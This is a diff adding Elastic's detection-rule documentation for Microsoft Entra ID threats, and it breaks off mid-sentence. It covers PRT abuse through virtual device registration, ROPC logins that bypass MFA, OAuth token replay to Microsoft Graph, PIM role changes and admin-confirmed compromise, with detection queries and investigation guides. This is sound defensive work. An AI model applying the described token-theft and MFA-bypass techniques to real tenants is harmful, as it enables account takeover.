({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.volexity.com/blog/2025/04/22/phishing-for-codes-russian-threat-actors-target-microsoft-365-oauth-workflows/ +* https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/ + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Use Case: Threat Detection +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Sign-In Logs +* Tactic: Persistence +* Tactic: Initial Access +* Resources: Investigation Guide + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID OAuth PRT Issuance to Non-Managed Device Detected* + + +This rule identifies a sequence where a Microsoft Entra ID authenticates using a refresh token issued to the Microsoft Authentication Broker (MAB), followed by an authentication using a Primary Refresh Token (PRT) from the same unmanaged device. This behavior is uncommon for normal user activity and strongly suggests adversarial behavior, particularly when paired with OAuth phishing and device registration tools like ROADtx. The use of PRT shortly after a refresh token sign-in typically indicates the attacker has registered a virtual device and is now using the PRT to impersonate a registered user+device pair. The device in question is still marked as unmanaged, indicating it is not compliant with organizational policies and managed by Intune or other MDM solutions. + + +*Possible investigation steps* + +- Identify the user principal and device from `azure.signinlogs.properties.user_principal_name` and `azure.signinlogs.properties.device_detail.device_id`. +- Confirm the first sign-in event came from the Microsoft Auth Broker (`app_id`) with `incoming_token_type: refreshToken`. +- Ensure the device has a `trust_type` of "Azure AD joined" and that the `sign_in_session_status` is "unbound". +- Confirm the second sign-in used `incoming_token_type: primaryRefreshToken` and that the `resource_display_name` is not "Device Registration Service". +- Investigate any Microsoft Graph, Outlook, or SharePoint access occurring shortly after. +- Review conditional access policy outcomes and determine whether MFA or device compliance was bypassed. + + +*False positive analysis* + +- Legitimate device onboarding and sign-ins using hybrid-joined endpoints may trigger this rule. +- Rapid device provisioning in enterprise environments using MAB could generate similar token behavior. +- Use supporting signals, such as IP address changes, geolocation, or user agent anomalies, to reduce noise. + + +*Response and remediation* + +- Investigate other sign-in patterns and assess whether token abuse has occurred. +- Revoke PRT sessions via Microsoft Entra ID or Conditional Access. +- Remove or quarantine the suspicious device registration. +- Require password reset and enforce MFA. +- Audit and tighten device trust and conditional access configurations. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by azure.signinlogs.properties.user_id, azure.signinlogs.properties.device_detail.device_id with maxspan=1h + [authentication where + event.dataset == "azure.signinlogs" and + azure.signinlogs.category == "NonInteractiveUserSignInLogs" and + azure.signinlogs.properties.app_id == "29d9ed98-a469-4536-ade2-f981bc1d605e" and + azure.signinlogs.properties.incoming_token_type == "refreshToken" and + azure.signinlogs.properties.device_detail.trust_type == "Azure AD joined" and + azure.signinlogs.properties.device_detail.device_id != null and + azure.signinlogs.properties.token_protection_status_details.sign_in_session_status == "unbound" and + azure.signinlogs.properties.user_type == "Member" and + azure.signinlogs.result_signature == "SUCCESS" + ] + [authentication where + event.dataset == "azure.signinlogs" and + azure.signinlogs.properties.incoming_token_type == "primaryRefreshToken" and + azure.signinlogs.properties.resource_display_name != "Device Registration Service" and + azure.signinlogs.result_signature == "SUCCESS" and + azure.signinlogs.properties.device_detail.is_managed != true + and not ( + azure.signinlogs.properties.app_display_name == "Windows Sign In" or + user_agent.original == "Windows-AzureAD-Authentication-Provider/1.0" + ) + ] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Device Registration +** ID: T1098.005 +** Reference URL: https://attack.mitre.org/techniques/T1098/005/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal Application Access Token +** ID: T1528 +** Reference URL: https://attack.mitre.org/techniques/T1528/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Application Access Token +** ID: T1550.001 +** Reference URL: https://attack.mitre.org/techniques/T1550/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-oauth-ropc-grant-login-detected.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-oauth-ropc-grant-login-detected.asciidoc new file mode 100644 index 0000000000..76cf89cf81 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-oauth-ropc-grant-login-detected.asciidoc @@ -0,0 +1,130 @@ +[[prebuilt-rule-8-19-20-entra-id-oauth-ropc-grant-login-detected]] +=== Entra ID OAuth ROPC Grant Login Detected + +Detects unusual resource owner password credential (ROPC) login attempts by a user principal in Microsoft Entra ID. ROPC is a legacy authentication flow that allows applications to obtain tokens by directly providing user credentials. This method is less secure and can be exploited by adversaries to gain access to user accounts without requiring multi-factor authentication (MFA), especially during enumeration or password spraying. This is a New Terms rule that identifies when user principals are involved in ROPC login attempts, not seen before in the last 10 days, indicating potential abuse or unusual activity. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-azure.signinlogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.proofpoint.com/us/blog/threat-insight/attackers-unleash-teamfiltration-account-takeover-campaign +* https://dirkjanm.io/assets/raw/Finding%20Entra%20ID%20CA%20Bypasses%20-%20the%20structured%20way.pdf +* https://learn.microsoft.com/en-us/entra/identity-platform/v2-oauth-ropc + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Sign-In Logs +* Use Case: Identity and Access Audit +* Tactic: Initial Access +* Resources: Investigation Guide + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID OAuth ROPC Grant Login Detected* + + +This rule detects unusual login attempts using the Resource Owner Password Credentials (ROPC) flow in Microsoft Entra ID. ROPC allows applications to obtain tokens by directly providing user credentials, bypassing multi-factor authentication (MFA). This method is less secure and can be exploited by adversaries to gain access to user accounts, especially during enumeration or password spraying. + + +*Possible investigation steps* + +- Review the `azure.signinlogs.properties.user_principal_name` field to identify the user principal involved in the ROPC login attempt. Check if this user is expected to use ROPC or if it is an unusual account for this type of authentication. +- Analyze the `azure.signinlogs.properties.authentication_protocol` field to confirm that the authentication protocol is indeed ROPC. This protocol is typically used in legacy applications or scripts that do not support modern authentication methods. +- Check the `user_agent.original` field to identify potentially abused open-source tools or scripts that may be using ROPC for unauthorized access such as TeamFiltration or other enumeration tools. +- Review the `azure.signinlogs.properties.app_display_name` or `azure.signinlogs.properties.app_id` to determine which application is attempting the ROPC login. FOCI applications are commonly used for enumeration and password spraying. +- Investigate the `azure.signinlogs.properties.client_ip` to identify the source of the login attempt. Check if the IP address is associated with known malicious activity or if it is a legitimate user location. +- Review the `azure.signinlogs.properties.authentication_details` field for any additional context on the authentication attempt, such as whether it was successful or if there were any errors. +- Examine the `azure.signinlogs.properties.applied_conditional_access_policies` to see if any conditional access policies were applied during the login attempt. If no policies were applied, this could indicate a potential bypass of security controls. +- Identify the resource requested access to by checking the `azure.signinlogs.properties.resource_display_name` or `azure.signinlogs.properties.resource_id`. This can help determine if the login attempt was targeting sensitive resources or applications such as Exchange Online, SharePoint, or Teams. + + +*False positive analysis* + +- Legitimate applications or scripts that use ROPC for automation purposes may trigger this rule. +- Some legacy applications may still rely on ROPC for authentication, especially in environments where modern authentication methods are not fully implemented. +- Internal security tools or scripts that perform automated tasks using ROPC may generate false positives if they are not properly whitelisted or excluded from the rule. + + +*Response and remediation* + +- If the ROPC login attempt is confirmed to be malicious, immediately block the user account and reset the password to prevent further unauthorized access. +- Consider enforcing multi-factor authentication (MFA) for the user account to enhance security and prevent future unauthorized access attempts. +- Review and update conditional access policies to restrict the use of ROPC for sensitive accounts or applications, ensuring that MFA is required for all login attempts. +- Investigate the source of the ROPC login attempt, including the application and IP address, to determine if there are any additional indicators of compromise or ongoing malicious activity. +- Monitor the user account and related resources for any further suspicious activity or unauthorized access attempts, and take appropriate actions to mitigate any risks identified. +- Educate users about the risks associated with ROPC and encourage them to use more secure authentication methods, such as OAuth 2.0 or OpenID Connect, whenever possible. + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset: "azure.signinlogs" and + azure.signinlogs.properties.authentication_protocol: "ropc" and + azure.signinlogs.properties.authentication_requirement: "singleFactorAuthentication" and + azure.signinlogs.properties.user_type: "Member" and + event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-oauth-user-impersonation-to-microsoft-graph.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-oauth-user-impersonation-to-microsoft-graph.asciidoc new file mode 100644 index 0000000000..12a96eda6b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-oauth-user-impersonation-to-microsoft-graph.asciidoc @@ -0,0 +1,250 @@ +[[prebuilt-rule-8-19-20-entra-id-oauth-user-impersonation-to-microsoft-graph]] +=== Entra ID OAuth User Impersonation to Microsoft Graph + +Identifies potential session hijacking or token replay in Microsoft Entra ID. This rule detects cases where a user signs in and subsequently accesses Microsoft Graph from a different IP address using the same session ID. This may indicate a successful OAuth phishing attack, session hijacking, or token replay attack, where an adversary has stolen a session cookie or refresh/access token and is impersonating the user from an alternate host or location. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 30m + +*Searches indices from*: now-31m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.volexity.com/blog/2025/04/22/phishing-for-codes-russian-threat-actors-target-microsoft-365-oauth-workflows/ +* https://github.com/dirkjanm/ROADtools +* https://attack.mitre.org/techniques/T1078/004/ +* https://pushsecurity.com/blog/consentfix + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Domain: API +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Sign-In Logs +* Data Source: Microsoft Graph +* Data Source: Microsoft Graph Activity Logs +* Use Case: Identity and Access Audit +* Use Case: Threat Detection +* Resources: Investigation Guide +* Tactic: Defense Evasion +* Tactic: Initial Access + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID OAuth User Impersonation to Microsoft Graph* + + +Identifies potential phishing, session hijacking or token replay in Microsoft Entra ID. This rule detects cases where a user signs in and subsequently accesses Microsoft Graph from a different IP address using the same session ID and client application. This may indicate a successful OAuth phishing attack, session hijacking, or token replay attack, where an adversary has stolen a session cookie or refresh/access token and is impersonating the user from an alternate host or location. + +This rule uses ESQL aggregations and thus has dynamically generated fields. Correlation of the values in the alert document may need to be +performed to the original sign-in and Graph events for further context. + + +*Possible investigation steps* + + +- This rule relies on an aggregation-based ESQL query, therefore the alert document will contain dynamically generated fields. + - To pivot into the original events, it is recommended to use the values captured to filter in timeline or discovery for the original sign-in and Graph events. +- Review the session ID and user ID to identify the user account involved in the suspicious activity. +- Check the source addresses involved in the sign-in and Graph access to determine if they are known or expected locations for the user. + - The sign-in source addresses should be two, one for the initial phishing sign-in and the other when exchanging the auth code for a token by the adversary. + - The Graph API source address should identify the IP address used by the adversary to access Microsoft Graph. +- Review the user agent strings for the sign-in and Graph access events to identify any anomalies or indicators of compromise. +- Analyze the Graph permission scopes to identify what resources were accessed and whether they align with the user's expected behavior. +- Check the timestamp difference between the sign-in and Graph access events to determine if they occurred within a reasonable time frame that would suggest successful phishing to token issuance and then Graph access. +- Identify the original sign-in event to investigation if conditional access policies were applied, such as requiring multi-factor authentication or blocking access from risky locations. In phishing scenarios, these policies likely were applied as the victim user would have been prompted to authenticate. + + +*False positive analysis* + +- This pattern may occur during legitimate device switching or roaming between networks (e.g., corporate to mobile). +- Developers or power users leveraging multiple environments may also trigger this detection if session persistence spans IP ranges. Still, this behavior is rare and warrants investigation when rapid IP switching and Graph access are involved. + + +*Response and remediation* + + +- If confirmed malicious, revoke all refresh/access tokens for the user principal. +- Block the source IP(s) involved in the Graph access. +- Notify the user and reset credentials. +- Review session control policies and conditional access enforcement. +- Monitor for follow-on activity, such as lateral movement or privilege escalation. +- Review conditional access policies to ensure they are enforced correctly. + + +==== Setup + + + +*Required Microsoft Entra ID Sign-In and Graph Activity Logs* + +This rule requires the Microsoft Entra ID Sign-In Logs and Microsoft Graph Activity Logs integration to be enabled and configured to collect audit and activity logs via Azure Event Hub. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-azure.signinlogs-*, logs-azure.graphactivitylogs-* metadata _id, _version, _index +| where + (event.dataset == "azure.signinlogs" + and source.`as`.organization.name != "MICROSOFT-CORP-MSN-AS-BLOCK" + and azure.signinlogs.properties.session_id is not null) + or + (event.dataset == "azure.graphactivitylogs" + and source.`as`.organization.name != "MICROSOFT-CORP-MSN-AS-BLOCK" + and azure.graphactivitylogs.properties.c_sid is not null) + +| eval + Esql.azure_signinlogs_properties_session_id_coalesce = coalesce(azure.signinlogs.properties.session_id, azure.graphactivitylogs.properties.c_sid), + Esql.azure_signinlogs_properties_user_id_coalesce = coalesce(azure.signinlogs.properties.user_id, azure.graphactivitylogs.properties.user_principal_object_id), + Esql.azure_signinlogs_properties_app_id_coalesce = coalesce(azure.signinlogs.properties.app_id, azure.graphactivitylogs.properties.app_id), + Esql.source_ip = source.ip, + Esql.@timestamp = @timestamp, + Esql.event_type_case = case( + event.dataset == "azure.signinlogs", "signin", + event.dataset == "azure.graphactivitylogs", "graph", + "other" + ), + Esql.signin_source_asn = case(event.dataset == "azure.signinlogs", source.`as`.organization.name, null), + Esql.graph_source_asn = case(event.dataset == "azure.graphactivitylogs", source.`as`.organization.name, null) + +| where Esql.azure_signinlogs_properties_app_id_coalesce not in ( + "4354e225-50c9-4423-9ece-2d5afd904870", // Augmentation Loop + "cc15fd57-2c6c-4117-a88c-83b1d56b4bbe", // Microsoft Teams Services + "ecd6b820-32c2-49b6-98a6-444530e5a77a", // Microsoft Edge [Community Contributed] + "e8be65d6-d430-4289-a665-51bf2a194bda", // Microsoft 365 App Catalog Services + "ab9b8c07-8f02-4f72-87fa-80105867a763", // OneDrive SyncEngine + "394866fc-eedb-4f01-8536-3ff84b16be2a", // Microsoft People Cards Service + "66a88757-258c-4c72-893c-3e8bed4d6899", // Office 365 Search Service + "9ea1ad79-fdb6-4f9a-8bc3-2b70f96e34c7", // Bing + "d7b530a4-7680-4c23-a8bf-c52c121d2e87", // Microsoft Edge Enterprise New Tab Page [Community Contributed] + "6f7e0f60-9401-4f5b-98e2-cf15bd5fd5e3", // Microsoft Application Command Service [Community Contributed] + "52c2e0b5-c7b6-4d11-a89c-21e42bcec444", // Graph Files Manager + "27922004-5251-4030-b22d-91ecd9a37ea4", // Outlook Mobile + "bb893c22-978d-4cd4-a6f7-bb6cc0d6e6ce", // Olympus [Community Contributed] + "26a7ee05-5602-4d76-a7ba-eae8b7b67941", // Windows Search + "00000007-0000-0000-c000-000000000000", // Dataverse + "6bc3b958-689b-49f5-9006-36d165f30e00", // Teams CMD Services Artifacts + "0ec893e0-5785-4de6-99da-4ed124e5296c", // Office UWP PWA [Community Contributed] + "fc108d3f-543d-4374-bbff-c7c51f651fe5", // Zoom + "01fc33a7-78ba-4d2f-a4b7-768e336e890e", // MS PIM + "7ab7862c-4c57-491e-8a45-d52a7e023983" // Power Automate / Logic Apps Graph Connector + ) and Esql.signin_source_asn IS NOT NULL and Esql.graph_source_asn IS NOT NULL + +| keep + Esql.azure_signinlogs_properties_session_id_coalesce, + Esql.source_ip, + Esql.@timestamp, + Esql.event_type_case, + Esql.azure_signinlogs_properties_user_id_coalesce, + Esql.azure_signinlogs_properties_app_id_coalesce, + Esql.signin_source_asn, + Esql.graph_source_asn, + source.`as`.organization.name, + user_agent.original, + url.original, + azure.graphactivitylogs.properties.scopes, + azure.signinlogs.properties.user_principal_name + +| stats + Esql.azure_signinlogs_properties_user_id_coalesce_values = values(Esql.azure_signinlogs_properties_user_id_coalesce), + Esql.azure_signinlogs_properties_session_id_coalesce_values = values(Esql.azure_signinlogs_properties_session_id_coalesce), + Esql_priv.azure_signinlogs_properties_user_principal_name_values = values(azure.signinlogs.properties.user_principal_name), + Esql.source_ip_values = values(Esql.source_ip), + Esql.source_ip_count_distinct = count_distinct(Esql.source_ip), + Esql.source_as_organization_name_values = values(source.`as`.organization.name), + Esql.source_as_organization_name_count_distinct = count_distinct(source.`as`.organization.name), + Esql.signin_source_asn_values = values(Esql.signin_source_asn), + Esql.signin_source_asn_count_distinct = count_distinct(Esql.signin_source_asn), + Esql.graph_source_asn_values = values(Esql.graph_source_asn), + Esql.graph_source_asn_count_distinct = count_distinct(Esql.graph_source_asn), + Esql.user_agent_original_values = values(user_agent.original), + Esql.azure_signinlogs_properties_app_id_coalesce_values = values(Esql.azure_signinlogs_properties_app_id_coalesce), + Esql.azure_signinlogs_properties_app_id_coalesce_count_distinct = count_distinct(Esql.azure_signinlogs_properties_app_id_coalesce), + Esql.event_type_case_values = values(Esql.event_type_case), + Esql.event_type_case_count_distinct = count_distinct(Esql.event_type_case), + Esql.signin_time_min = min(case(Esql.event_type_case == "signin", Esql.@timestamp, null)), + Esql.graph_time_min = min(case(Esql.event_type_case == "graph", Esql.@timestamp, null)), + Esql.url_original_values = values(url.original), + Esql.azure_graphactivitylogs_properties_scopes_values = values(azure.graphactivitylogs.properties.scopes), + Esql.event_count = count() + by + Esql.azure_signinlogs_properties_session_id_coalesce, + Esql.azure_signinlogs_properties_app_id_coalesce, + Esql.azure_signinlogs_properties_user_id_coalesce + +| eval + Esql.event_signin_to_graph_delay_minutes_date_diff = date_diff("minutes", Esql.signin_time_min, Esql.graph_time_min), + Esql.event_signin_to_graph_delay_days_date_diff = date_diff("days", Esql.signin_time_min, Esql.graph_time_min) + +| where + Esql.event_type_case_count_distinct > 1 and + Esql.source_ip_count_distinct > 1 and + Esql.source_as_organization_name_count_distinct > 1 and + Esql.azure_signinlogs_properties_app_id_coalesce_count_distinct == 1 and + Esql.signin_time_min is not null and + Esql.graph_time_min is not null and + Esql.event_signin_to_graph_delay_minutes_date_diff > 0 and + Esql.event_signin_to_graph_delay_days_date_diff == 0 and + (Esql.signin_source_asn_count_distinct + Esql.graph_source_asn_count_distinct) == Esql.source_as_organization_name_count_distinct + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Application Access Token +** ID: T1550.001 +** Reference URL: https://attack.mitre.org/techniques/T1550/001/ +* Sub-technique: +** Name: Web Session Cookie +** ID: T1550.004 +** Reference URL: https://attack.mitre.org/techniques/T1550/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-privileged-identity-management-pim-role-modified.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-privileged-identity-management-pim-role-modified.asciidoc new file mode 100644 index 0000000000..a923a8d2db --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-privileged-identity-management-pim-role-modified.asciidoc @@ -0,0 +1,146 @@ +[[prebuilt-rule-8-19-20-entra-id-privileged-identity-management-pim-role-modified]] +=== Entra ID Privileged Identity Management (PIM) Role Modified + +Azure Active Directory (AD) Privileged Identity Management (PIM) is a service that enables you to manage, control, and monitor access to important resources in an organization. PIM can be used to manage the built-in Azure resource roles such as Global Administrator and Application Administrator. An adversary may add a user to a PIM role in order to maintain persistence in their target's environment or modify a PIM role to weaken their target's security controls. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.auditlogs-* +* filebeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/azure/active-directory/privileged-identity-management/pim-resource-roles-assign-roles +* https://docs.microsoft.com/en-us/azure/active-directory/privileged-identity-management/pim-configure + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Use Case: Identity and Access Audit +* Resources: Investigation Guide +* Tactic: Persistence + +*Version*: 110 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID Privileged Identity Management (PIM) Role Modified* + + +Azure Active Directory (AD) Privileged Identity Management (PIM) is a service that enables you to manage, control, and monitor access to important resources in an organization. PIM can be used to manage the built-in Azure resource roles such as Global Administrator and Application Administrator. + +This rule identifies the update of PIM role settings, which can indicate that an attacker has already gained enough access to modify role assignment settings. + + +*Possible investigation steps* + + +- Identify the user account that performed the action and whether it should perform this kind of action. +- Investigate other alerts associated with the user account during the past 48 hours. +- Consider the source IP address and geolocation for the user who issued the command. Do they look normal for the user? +- Consider the time of day. If the user is a human, not a program or script, did the activity take place during a normal time of day? +- Check if this operation was approved and performed according to the organization's change management policy. +- Contact the account owner and confirm whether they are aware of this activity. +- Examine the account's commands, API calls, and data management actions in the last 24 hours. +- If you suspect the account has been compromised, scope potentially compromised assets by tracking servers, services, and data accessed by the account in the last 24 hours. + + +*False positive analysis* + + +- If this activity didn't follow your organization's change management policies, it should be reviewed by the security team. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Assess the criticality of affected services and servers. + - Work with your IT team to identify and minimize the impact on users. + - Identify if the attacker is moving laterally and compromising other accounts, servers, or services. + - Identify any regulatory or legal ramifications related to this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords or delete API keys as needed to revoke the attacker's access to the environment. Work with your IT teams to minimize the impact on business operations during these actions. +- Check if unauthorized new users were created, remove unauthorized new accounts, and request password resets for other IAM users. +- Restore the PIM roles to the desired state. +- Consider enabling multi-factor authentication for users. +- Follow security best practices https://docs.microsoft.com/en-us/azure/security/fundamentals/identity-management-best-practices[outlined] by Microsoft. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + +==== Setup + + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:azure.auditlogs and azure.auditlogs.operation_name:"Update role setting in PIM" and event.outcome:(Success or success) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-protection-admin-confirmed-compromise.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-protection-admin-confirmed-compromise.asciidoc new file mode 100644 index 0000000000..677145ac49 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-protection-admin-confirmed-compromise.asciidoc @@ -0,0 +1,168 @@ +[[prebuilt-rule-8-19-20-entra-id-protection-admin-confirmed-compromise]] +=== Entra ID Protection Admin Confirmed Compromise + +Identifies when an administrator has manually confirmed a user or sign-in as compromised in Microsoft Entra ID Protection. This indicates that an administrator has reviewed the risk detection and determined that the user account or sign-in activity is definitively compromised. This is a high-confidence indicator of account compromise and should be investigated immediately. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.identity_protection-* + +*Severity*: critical + +*Risk score*: 99 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://learn.microsoft.com/en-us/entra/id-protection/howto-identity-protection-investigate-risk +* https://learn.microsoft.com/en-us/entra/id-protection/concept-identity-protection-risks +* https://learn.microsoft.com/en-us/graph/api/resources/riskdetection + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Entra ID +* Data Source: Entra ID Protection Logs +* Use Case: Identity and Access Audit +* Use Case: Threat Detection +* Tactic: Initial Access +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +This rule detects when an administrator has manually confirmed a user or sign-in as compromised in Microsoft Entra ID Protection. This is a critical security event that requires immediate investigation and response. + + +*Possible investigation steps* + + +- Review the `azure.identityprotection.properties.risk_detail` field to determine if the compromise was confirmed at the sign-in level (`adminConfirmedSigninCompromised`) or user level (`adminConfirmedUserCompromised`). +- Check the `azure.identityprotection.properties.user_principal_name` field to identify the compromised user account. +- Review the `azure.identityprotection.properties.user_display_name` field for additional user identification information. +- Examine the `azure.identityprotection.properties.risk_level` field to understand the severity level assigned to the risk event. +- Check the `azure.identityprotection.properties.risk_state` field to verify the current state of the risk (should be confirmed as compromised). +- Review the `azure.correlation_id` field to correlate this event with other related security events, including the original risk detections that led to the admin confirmation. +- Investigate the timeline of events leading up to the admin confirmation by reviewing Entra ID sign-in logs and audit logs for the affected user. +- Check for any suspicious activities associated with the user account, including: + - Unusual sign-in locations or IP addresses + - Access to sensitive resources or applications + - Changes to user profile, permissions, or MFA settings + - Bulk email sending or data exfiltration activities +- Review the `azure.identityprotection.properties.additional_info` field for any additional context provided by the administrator or Entra ID Protection. +- Identify which administrator confirmed the compromise by reviewing Entra ID audit logs for risk state changes. + + +*False positive analysis* + + +- Security testing or penetration testing exercises may result in administrators confirming test accounts as compromised. If this is expected behavior, consider excluding specific test accounts or implementing a testing account naming convention to filter. +- Incident response drills or tabletop exercises may involve marking accounts as compromised for training purposes. Coordinate with security teams to identify planned exercises. + + +*Response and remediation* + + +- Immediately reset the password for the compromised user account and require the user to set a new password upon next sign-in. +- Revoke all active sessions and authentication tokens for the compromised account, including: + - Primary refresh tokens (PRTs) + - OAuth tokens + - Session cookies + - Application-specific passwords +- Review and revoke any suspicious OAuth consent grants or application permissions added by the compromised account. +- Enable or enforce multi-factor authentication (MFA) for the affected user account if not already enabled. +- Review all activities performed by the compromised account, including: + - Email forwarding rules or inbox rules + - File access and downloads + - Changes to security settings or permissions + - Creation of new users or service principals +- Assess the scope of the compromise by identifying any lateral movement or privilege escalation 